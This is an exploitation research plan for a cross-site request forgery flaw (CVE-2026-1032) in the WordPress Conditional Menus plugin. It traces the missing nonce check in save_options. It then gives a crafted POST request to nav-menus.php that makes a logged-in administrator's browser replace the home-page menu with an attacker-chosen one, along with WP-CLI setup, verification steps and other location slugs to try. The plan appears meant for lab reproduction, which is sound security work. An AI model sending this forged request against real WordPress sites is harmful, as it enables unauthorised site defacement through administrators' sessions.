Exploitation Research Plan: CVE-2026-1032

1. Vulnerability Summary

The Conditional Menus plugin (<= 1.2.6) for WordPress is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the Themify_Conditional_Menus::save_options function. This function is responsible for saving conditional menu assignments but fails to perform any nonce validation (check_admin_referer or wp_verify_nonce). An attacker can trick a logged-in administrator into submitting a crafted POST request to modify which menus are displayed on specific pages of the site, effectively allowing unauthorized content manipulation or site defacement.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/nav-menus.php?action=locations
• HTTP Method: POST
• Authentication Level: Administrator (via CSRF)
• Vulnerable Action: The save_options() method is triggered via the load-nav-menus.php hook when the action GET parameter is set to locations.
• Payload Parameters:
  • menu-locations[<location_slug>]: Required to pass the initial isset check in save_options.
  • themify_cm[<location_slug>][<index>][menu]: The ID of the replacement menu.
  • themify_cm[<location_slug>][<index>][condition]: A URL-encoded string representing display conditions (e.g., general[home]=on).

3. Code Flow

1. Hook Registration (init.php):
   The plugin registers the setup method during plugins_loaded.

   add_action( 'load-nav-menus.php', array( $this, 'init' ) );
   

2. Initialization (init.php):
   When an admin visits the "Manage Locations" tab in Menus (nav-menus.php?action=locations), the init method is called.

   public function init() {
       if( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) {
           $this->save_options(); // This is called on every load of this page if action=locations
           // ...
       }
   }
   

3. Vulnerable Sink (init.php):
   The save_options() method processes POST data directly.

   public function save_options() {
       if( isset( $_POST['menu-locations'] ) ) {
           // VULNERABILITY: No check_admin_referer() or wp_verify_nonce() here.
           // Processes $_POST['themify_cm'] and saves via set_theme_mod.
       }
   }
   

4. Nonce Acquisition Strategy

No nonce is required. The vulnerability is defined by the absolute absence of nonce validation in the save_options function. Although WordPress core uses nonces on the nav-menus.php page, the plugin's save_options function executes independently of the core's nonce check when it detects its own parameters in a POST request to that URL.

5. Exploitation Strategy

The goal is to use CSRF to assign a different menu to the "Home" page.

Step-by-Step Plan:

1. Identify IDs: Identify a target menu ID (the "malicious" menu) and the theme's navigation location slug (e.g., primary or main).
2. Construct Payload: Create a POST request that mimics the plugin's data structure.
3. Trigger CSRF: Send the request to the target site using the administrator's session.

Technical Request (via http_request):

• URL: https://<target-domain>/wp-admin/nav-menus.php?action=locations
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  menu-locations[primary]=1&themify_cm[primary][1][menu]=2&themify_cm[primary][1][condition]=general[home]=on
  

  (Where primary is the location, 1 is the default menu ID, and 2 is the replacement menu ID to be shown on the home page).

6. Test Data Setup

1. Create Menus:

   # Create two menus
   wp menu create "Original Menu"
   wp menu create "Evil Menu"
   
   # Assign "Original Menu" to the primary location
   wp menu location assign original-menu primary
   

2. Identify IDs:

   # Get the ID of the "Evil Menu"
   EVIL_MENU_ID=$(wp menu list --fields=term_id,name | grep "Evil Menu" | awk '{print $1}')
   # Get the ID of the "Original Menu"
   ORIG_MENU_ID=$(wp menu list --fields=term_id,name | grep "Original Menu" | awk '{print $1}')
   

7. Expected Results

• The HTTP response from nav-menus.php will likely be a 200 OK or a 302 Redirect.
• The WordPress database will be updated with a new theme_mod named themify_conditional_menus.
• When visiting the homepage, the "Evil Menu" will be displayed instead of the "Original Menu".

8. Verification Steps

After the exploit, verify the changes using WP-CLI:

# Check the conditional menu settings stored in theme_mods
wp eval "print_r(get_theme_mod('themify_conditional_menus'));"

Successful Output Example:

Array (
    [primary] => Array (
        [1] => Array (
            [menu] => 2  // The EVIL_MENU_ID
            [condition] => general[home]=on
        )
    )
)

9. Alternative Approaches

If the primary location slug is different, we can iterate through standard WordPress location slugs (main, primary, header-menu, top-menu). If the site uses a specific theme like Twenty Twenty-Four, the slug is often primary.

If nav-menus.php enforcement is somehow tighter, we could attempt to trigger the same save_options logic by calling admin-ajax.php if the plugin registered it there, but the source indicates it is strictly bound to load-nav-menus.php.